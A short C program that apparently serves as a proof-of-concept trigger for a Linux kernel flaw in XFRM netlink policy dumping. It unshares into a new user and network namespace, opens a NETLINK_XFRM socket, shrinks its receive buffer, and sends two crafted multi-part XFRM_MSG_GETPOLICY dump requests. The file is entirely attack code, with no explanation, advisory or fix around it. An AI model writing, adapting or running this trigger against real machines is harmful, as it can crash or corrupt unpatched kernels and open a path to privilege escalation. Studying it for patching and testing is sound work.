#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>
#include <sched.h>
#include <unistd.h>
 
#define BUFSIZE 2048
 
 
int fd;
struct sockaddr_nl addr;
 
struct msg_policy {
    struct nlmsghdr msg;
    char buf[BUFSIZE];
};
 
void create_nl_socket(void)
{
    fd = socket(PF_NETLINK,SOCK_RAW,NETLINK_XFRM);
    memset(&addr,0,sizeof(struct sockaddr_nl));
    addr.nl_family = AF_NETLINK;
    addr.nl_pid = 0; /* packet goes into the kernel */
    addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
 
}
 
void do_setsockopt(void)
{
    int var =0x100;
 
    setsockopt(fd,1,SO_RCVBUF,&var,sizeof(int));
}
 
struct msg_policy *init_policy_dump(int size)
{
    struct msg_policy *r;
 
    r = malloc(sizeof(struct msg_policy));
    if(r == NULL) {
        perror("malloc");
        exit(-1);
    }
    memset(r,0,sizeof(struct msg_policy));
 
    r->msg.nlmsg_len = 0x10;
    r->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
    r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
    r->msg.nlmsg_seq = 0x1;
    r->msg.nlmsg_pid = 2;
    return r;
 
}
int send_msg(int fd,struct nlmsghdr *msg)
{
    int err;
    err = sendto(fd,(void *)msg,msg->nlmsg_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_nl));
    if (err < 0) {
        perror("sendto");
        return -1;
    }
    return 0;
 
}
 
void create_ns(void)
{
	if(unshare(CLONE_NEWUSER) != 0) {
		perror("unshare(CLONE_NEWUSER)");
		exit(1);
	}
	if(unshare(CLONE_NEWNET) != 0) {
		perror("unshared(CLONE_NEWUSER)");
		exit(2);
	}
}
int main(int argc,char **argv)
{
    struct msg_policy *p;
    create_ns();
 
    create_nl_socket();
    p = init_policy_dump(100);
    do_setsockopt();
    send_msg(fd,&p->msg);
    p = init_policy_dump(1000);
    send_msg(fd,&p->msg);
    return 0;
}
